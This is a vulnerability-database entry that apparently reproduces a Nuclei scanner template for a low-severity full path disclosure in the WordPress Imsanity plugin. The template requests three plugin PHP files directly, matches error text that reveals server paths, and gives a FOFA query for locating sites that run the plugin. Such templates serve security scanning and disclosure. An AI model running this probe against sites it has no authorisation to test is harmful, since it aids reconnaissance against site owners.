wordpress-imsanity-fpd: WordPress Plugin Imsanity - Full Path Disclosure

2026-01-08 WordPress Plugin Imsanity PoC Public

Description

WordPress Imsanity plugin is vulnerable to full path disclosure via direct access to plugin files.

PoC

id: wordpress-imsanity-fpd

info:
  name: WordPress Plugin Imsanity - Full Path Disclosure
  author: ritikchaddha
  severity: low
  description: |
    WordPress Imsanity plugin is vulnerable to full path disclosure via direct access to plugin files.
  reference:
    - https://wordpress.org/plugins/imsanity/
  metadata:
    verified: true
    max-request: 3
    vendor: developer
    product: imsanity
    framework: wordpress
    fofa-query: body="/wp-content/plugins/imsanity/"
  tags: wp,wordpress,wp-plugin,fpd,imsanity,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/imsanity/libs/imagecreatefrombmp.php"
      - "{{BaseURL}}/wp-content/plugins/imsanity/ajax.php"
      - "{{BaseURL}}/wp-content/plugins/imsanity/settings.php"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Fatal error"
          - "plugins/imsanity"
          - "Uncaught Error:"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022030e0a02454ddecdb93fd1bf8892f215b9a711c0dbafd68205fc59332fc3a298f0220187f2173d5d1606ae86d5cb140c556b69343af81452c1272691124bc97437495:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities